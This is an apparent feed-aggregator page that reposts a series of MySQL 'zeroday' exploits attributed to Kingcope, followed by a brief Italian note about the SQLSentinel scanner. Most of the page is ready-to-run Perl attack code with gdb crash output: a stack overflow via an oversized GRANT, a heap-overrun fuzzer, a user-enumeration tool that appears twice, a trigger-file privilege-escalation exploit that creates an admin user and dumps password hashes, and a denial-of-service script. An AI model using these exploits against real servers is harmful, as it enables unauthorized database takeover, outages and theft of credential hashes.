Quantcast
Channel: mysql – Linux Feed
Viewing all 63 articles
Browse latest View live

MySQL (Linux) Stack based buffer overrun PoC Zeroday

$
0
0
#!/usr/bin/perl
=for comment
 
 MySQL Server exploitable stack based overrun
 Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too)
 unprivileged user (any account (anonymous account?), post auth)
 as illustrated below the instruction pointer is overwritten with 0x41414141
 bug found by Kingcope
 this will yield a shell as the user 'mysql' when properly exploited
 
mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core
GNU gdb (GDB) SUSE (7.2-3.3)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-suse-linux".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Missing separate debuginfo for the main executable file
Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803"
[New Thread 8801]
[New Thread 8789]
[New Thread 8793]
[New Thread 8791]
[New Thread 8787]
[New Thread 8790]
[New Thread 8799]
[New Thread 8794]
[New Thread 8792]
[New Thread 8788]
[New Thread 8800]
[New Thread 8786]
[New Thread 8797]
[New Thread 8798]
[New Thread 8785]
[New Thread 8796]
[New Thread 8783]
Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)
=cut
 
  use strict;
  use DBI();
 
  # Connect to the database.
  my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;",
                         "user", "secret",
                         {'RaiseError' => 1});
 
  $a ="A" x 100000;
  my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
  $sth->execute();
 
  # Disconnect from the database.
  $dbh->disconnect();

MySQL (Linux) Heap Based Overrun PoC Zeroday

$
0
0
# MySQL Heap Overrun
# tested for the latest version of mysql server on a SuSE Linux system
#
# As seen below $edx and $edi are fully controlled,
# the current instruction is
# => 0x83a6b24 <free_root+180>:   mov    (%edx),%edi
# this means we landed in a place where 4 bytes can be controlled by 4 bytes
# with this function pointers and GOT entries can be rewritten to execute arbritrary code
#
# a user account (with less privileges) is needed
# beware: this script will change the users password to an undefined value
#
 
=for comment
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa86b3b70 (LWP 9219)]
free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
369         old=next; next= next->next;
(gdb) bt
#0  free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
#1  0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709
#2  ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401
#3  0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260
#4  0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271
#5  0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026
#6  unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075
#7  0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188
#8  0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796
#9  0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708
#10 0xb7744b05 in start_thread () from /lib/libpthread.so.0
#11 0xb750fd5e in clone () from /lib/libc.so.6
(gdb) i r
eax            0x8ec63b8        149709752
ecx            0xa86b326c       -1469369748
edx            0x5a5a5a5a       1515870810
ebx            0x880eff4        142667764
esp            0xa86b31b0       0xa86b31b0
ebp            0xa86b31d8       0xa86b31d8
esi            0x8e7c714        149407508
edi            0x5a5a5a5a       1515870810
eip            0x83a6b24        0x83a6b24 <free_root+180>
eflags         0x210293 [ CF AF SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/10i $eip
=> 0x83a6b24 <free_root+180>:   mov    (%edx),%edi
   0x83a6b26 <free_root+182>:   je     0x83a6b33 <free_root+195>
   0x83a6b28 <free_root+184>:   mov    %edx,(%esp)
   0x83a6b2b <free_root+187>:   call   0x83acb70 <my_free>
   0x83a6b30 <free_root+192>:   mov    0x8(%esi),%eax
   0x83a6b33 <free_root+195>:   test   %edi,%edi
   0x83a6b35 <free_root+197>:   jne    0x83a6b20 <free_root+176>
   0x83a6b37 <free_root+199>:   test   %eax,%eax
   0x83a6b39 <free_root+201>:   movl   $0x0,(%esi)
   0x83a6b3f <free_root+207>:   movl   $0x0,0x4(%esi)
(gdb)
=cut
 
use Net::MySQL;
use Encode;
$|=1;
 
  my $mysql = Net::MySQL->new(
      hostname => '192.168.2.3',
      database => "test",
      user     => "user",
      password => "test",
      debug => 0,
      port => 3306,
  );
 
@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t",
                         "CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c",
                         "DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')");
 
foreach my $command (@commands) {
        for ($k=0;$k<length($command);$k++) {
                $c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1);
                $c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1);
 
                print "$c2";
                $mysql->query($c);
        }
}
  $mysql->close;

MySQL Remote Preauth User Enumeration Zeroday

$
0
0
# MySQL User Account Enumeration Utility
# When an attacker authenticates using an incorrect password
# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server
# the mysql server will respond with a different message than Access Denied, what makes
# User Account Enumeration possible.
# The Downside is that the attacker has to reconnect for each user enumeration attempt
#20000 user accounts in 7 minutes
#Mon Jan 16 09:00:18 UTC 2012
#Mon Jan 16 09:07:26 UTC 2012
#root@vs2067037:~# wc -l MEDIUM.LST
#21109 MEDIUM.LST
#A usernames.txt wordlist is included in this package
#examples:
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: administrator@host
#
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: admin@host
#
 
use IO::Socket;
use Parallel::ForkManager;
$|=1;
 
if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}
 
$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);
 
open FILE,"<$wordlist";
unlink '/tmp/cracked';
 
@users = ();
$k=0;
while(<FILE>) {
        chomp;
        $_ =~ s/\r//g;
        $users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '3306',
                              Proto    => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);
 
$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
                        "\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
}

MySQL (Linux) Database Privilege Elevation Zeroday Exploit

$
0
0
use DBI();
 
$|=1;
 
=for comment
 
MySQL privilege elevation Exploit
This exploit adds a new admin user.
By Kingcope
 
Tested on
* Debian Lenny (mysql-5.0.51a)
* OpenSuSE 11.4 (5.1.53-log)
 
How it works:
This exploit makes use of several things:
*The attacker is in possession of a mysql user with 'file' privileges for the target
*So the attacker can create files on the system with this user (owned by user 'mysql')
*So the attacker is able to create TRIGGER files for a mysql table
    triggers can be used to trigger an event when a mysql command is executed by the user,
    normally triggers are 'attached' to a user and will be executed with this users privilege.
    because we can write any contents into the TRG file (the actual trigger file), we write the entry
    describing the attached user for the trigger as "root@localhost" what is the default admin user.
* We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized.
  This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn)
  the trigger file would not be recognized.
 
So what the exploit does is:
* Connect to the MySQL Server
* Create a table named rootme for the trigger
* Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
* INSERT a value into the table so the trigger event gets executed
* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.
* Crash the MySQL Server again to force it reload the user configuration
* Create a new mysql user with all privileges set to enabled
* Crash again to reload configuration
* Connect by using the newly created user
* The new connection has ADMIN access now to all databases in mysql
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded
* As said the user has FULL ACCESS to the database now
 
Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
=cut
 
=for comment
 
user created for testing (file privs will minor privileges to only one database):
 
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';
Query OK, 0 rows affected (0.00 sec)
 
mysql> create database lessdb
    -> ;
Query OK, 1 row affected (0.00 sec)
 
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.02 sec)
 
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.00 sec)
 
login with new unprivileged user:
mysql> select * from mysql.user;
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
 
=cut
 
=for comment
 
example attack output:
 
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\
', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\
\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y
\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\
'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri
v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type=
\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\',
max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE
User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
vilege_elevation.pl line 44.
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
privilege_elevation.pl line 50.
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
privilege_elevation.pl line 59.
W00TW00T!
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
B02C
Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
 
=cut
 
$user = "less10";
$password = "test";
$database = "lessdb10";
$target = "192.168.2.4";
$folder = "/var/lib/mysql/"; # Linux
$newuser = "rootedbox2";
$newuserpass = "rootedbox2";
$mysql_version = "51"; # can be 51 or 50
 
if ($mysql_version eq "50") {
$inject =
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
} else {
$inject =
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
}
 
print $inject;#exit;
$inject2 =
"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";
 
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
                       "$user", "$password",
                       {'RaiseError' => 0});
eval { $dbh->do("DROP TABLE rootme") };
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
$dbh->do($inject);
$dbh->do($inject2);
 
$a = "A" x 10000;
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
 
sleep(3);
 
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
                       "$user", "$password",
                       {'RaiseError' => 0});
 
$dbh->do("INSERT INTO rootme VALUES('ROOTED');");
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
 
sleep(3);
 
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
                       "$user", "$password",
                       {'RaiseError' => 0});
 
$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
 
sleep(3);
 
my $dbh = DBI->connect("DBI:mysql:host=$target;",
                       $newuser, $newuserpass,
                       {'RaiseError' => 0});
 
my $sth = $dbh->prepare("SELECT * FROM mysql.user");
$sth->execute();
 
print "W00TW00T!\n";
 
while (my $ref = $sth->fetchrow_hashref()) {
print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";
}
$sth->finish();

Oracle MySQL User Account Enumeration Utility

$
0
0
# MySQL User Account Enumeration Utility
# When an attacker authenticates using an incorrect password
# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server
# the mysql server will respond with a different message than Access Denied, what makes
# User Account Enumeration possible.
# The Downside is that the attacker has to reconnect for each user enumeration attempt
#20000 user accounts in 7 minutes
#Mon Jan 16 09:00:18 UTC 2012
#Mon Jan 16 09:07:26 UTC 2012
#root@vs2067037:~# wc -l MEDIUM.LST
#21109 MEDIUM.LST
#A usernames.txt wordlist is included in this package
#examples:
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: administrator@host
#
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: admin@host
#
 
use IO::Socket;
use Parallel::ForkManager;
$|=1;
 
if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}
 
$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);
 
open FILE,"<$wordlist";
unlink '/tmp/cracked';
 
@users = ();
$k=0;
while(<FILE>) {
        chomp;
        $_ =~ s/\r//g;
        $users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '3306',
                              Proto    => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);
 
$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
                        "\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
}

Oracle MySQL 5.5.19-log Denial Of Service

$
0
0
5.5.19-log on SuSE Linux
 
DoS exploit:
--------------------------------------------------------------------------------------------------------
use Net::MySQL;
use Unicode::UTF8 qw[decode_utf8 encode_utf8];
 
$|=1;
 
  my $mysql = Net::MySQL->new(
      hostname => '192.168.2.3',   # Default use UNIX socket
      database => 'test',
      user     => "monty",
      password => "python",
      debug => 1,
  );
 
  $mysql->_execute_command("\x12", "\x00\x00\x00\x00 foo");
  exit;
 
  for ($k=0;$k<50000;$k++) {
      $a .="<A$k>";
  }
  for ($k=0;$k<50000;$k++) {
      $a .="</A$k>";
  }  
 
# SELECT example
  $mysql->query("SELECT UpdateXML('<a>$a<b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1");
 
  my $record_set = $mysql->create_record_iterator;
  while (my $record = $record_set->each) {
      printf "First column: %s Next column: %s\n",
          $record->[0], $record->[1];
  }
  $mysql->close;
 
 
Crash Log:
--------------------------------------------------------------------------------------------------------
started:
/usr/local/mysql/bin/mysqld --log=/tmp/mysql55.log --user=mysql --log-bin=/tmp/logbin2 &
 
120108 12:55:28 - mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.
 
key_buffer_size=16777216
read_buffer_size=262144
max_used_connections=1
max_threads=151
thread_count=1
connection_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 133453 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.
 
Thread pointer: 0x8e6fa48
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0xa868b35c thread_stack 0x30000
/usr/local/mysql/bin/mysqld(my_print_stacktrace+0x33)[0x83b0f63]
/usr/local/mysql/bin/mysqld(handle_segfault+0x4bc)[0x813c59c]
[0xffffe400]
/usr/local/mysql/bin/mysqld(_Z16dispatch_command19enum_server_commandP3THDPcj+0x11b4)[0x81b09e4]
/usr/local/mysql/bin/mysqld(_Z10do_commandP3THD+0xbc)[0x81b13ac]
/usr/local/mysql/bin/mysqld(_Z24do_handle_one_connectionP3THD+0x183)[0x823eb63]
/usr/local/mysql/bin/mysqld(handle_one_connection+0x3c)[0x823ebbc]
/lib/libpthread.so.0(+0x5b05)[0xb771cb05]
/lib/libc.so.6(clone+0x5e)[0xb74e7d5e]
 
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query ((nil)): is an invalid pointer
Connection ID (thread ID): 12
Status: NOT_KILLED
 
The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains
information that should help you find out what is causing the crash.
 
Version: '5.5.19-log'  socket: '/var/run/mysql/mysql.sock'  port: 3306  Source distribution
[New Thread 0xa8f1db70 (LWP 7907)]
120108 13:01:51 [Warning] IP address '192.168.2.150' could not be resolved: Name or service not known
120108 13:01:51 [Note] Start binlog_dump to slave_server(65), pos(, 4294967295)
 
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa8f1db70 (LWP 7907)]
mysql_binlog_send (thd=0x8e6fb28, log_ident=0x8eb57a8 "", pos=<value optimized out>, flags=65535) at /root/mysql-5.5.19/sql/sql_repl.cc:1043
1043                    log_file_name, (llstr(my_b_tell(&log), llbuff2), llbuff2));
(gdb) x/10i $eip
=> 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>:   mov    0x8(%ecx),%edx
   0x81bf54d <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1373>:   mov    0x4(%ecx),%eax
   0x81bf550 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1376>:   mov    %edx,0x4(%esp)
   0x81bf554 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1380>:   mov    %eax,(%esp)
   0x81bf557 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1383>:   call   0x8541560 <llstr>
   0x81bf55c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1388>:   mov    -0x9b0(%ebp),%edx
   0x81bf562 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1394>:   lea    -0x590(%ebp),%eax
   0x81bf568 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1400>:   mov    %edi,0x1c(%esp)
   0x81bf56c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1404>:   lea    -0x990(%ebp),%edi
   0x81bf572 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1410>:   mov    %eax,0x18(%esp)
(gdb) i r
eax            0xa8f1c804       -1460549628
ecx            0x0      0
edx            0xa8f1c805       -1460549627
ebx            0x8e821e0        149430752
esp            0xa8f1be50       0xa8f1be50
ebp            0xa8f1c868       0xa8f1c868
esi            0xa8f1c81a       -1460549606
edi            0xa8f1c804       -1460549628
eip            0x81bf54a        0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>
eflags         0x210282 [ SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
 
unprivileged user (REPLICATION_SLAVE privs needed to trigger the bug):
--------------------------------------------------------------------------------------------------------
C:\Users\kingcope\Desktop>perl mysql.pl
Use INET Socket: 192.168.2.3 3306/tcp
Net::MySQL::_get_server_information():
4E 00 00 00 0A 35 2E 35 2E 31 39 2D 6C 6F 67 00  N....5.5.19-log.
01 00 00 00 59 4C 50 2C 29 28 2E 4F 00 FF F7 08  ....YLP,)(.O....
02 00 0F 80 15 00 00 00 00 00 00 00 00 00 00 22  ................
59 7C 24 3A 36 40 21 22 26 38 29 00 6D 79 73 71  Y...6....8).mysq
6C 5F 6E 61 74 69 76 65 5F 70 61 73 73 77 6F 72  l_native_passwor
64 00                                            d.
Protocol Version: 10
Server Version: 5.5.19-log
Salt: YLP,)(.O"Y|$:6@!"&8)
Net::MySQL::_send_login_message():
41 00 00 01 0D A6 03 00 00 00 00 01 21 00 00 00  A...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 6D 6F 6E 74 79 32 00 14 21 2F FB 64  ....monty2.....d
27 B4 FE 26 89 F7 D6 E7 2A A1 C9 00 A9 CF 4E 51  '.......*.....NQ
74 65 73 74 00                                   test.
Net::MySQL::_request_authentication():
07 00 00 02 00 00 00 02 00 00 00                 ...........
connect database
Net::MySQL::_execute_command():
0A 00 00 00 12 00 00 00 00 00 00 FF 00 00        ..............
Net::MySQL::_execute_command():
68 00 00 01 FF CB 04 23 34 32 30 30 30 41 63 63  h.......42000Acc
65 73 73 20 64 65 6E 69 65 64 3B 20 79 6F 75 20  ess.denied;.you.
6E 65 65 64 20 28 61 74 20 6C 65 61 73 74 20 6F  need.(at.least.o
6E 65 20 6F 66 29 20 74 68 65 20 52 45 50 4C 49  ne.of).the.REPLI
43 41 54 49 4F 4E 20 53 4C 41 56 45 20 70 72 69  CATION.SLAVE.pri
76 69 6C 65 67 65 28 73 29 20 66 6F 72 20 74 68  vilege(s).for.th
69 73 20 6F 70 65 72 61 74 69 6F 6E              is.operation

Rilasciata una nuova versione di SQLSentinel

$
0
0

SQLSentinel ha recentemente raggiunto la seconda versione beta, un software completamente sviluppato in Java in grado di individuare velocemente delle possibili falle di SQL Injection all’interno di un sito internet senza poi proseguire alla fase di exploiting.

La versione 0.1 rilasciata i primi giorni di Aprile integra le seguenti funzionalità:

  • Crawler web integrato che permette l’indicizzazione ricorsiva automatica del sito target
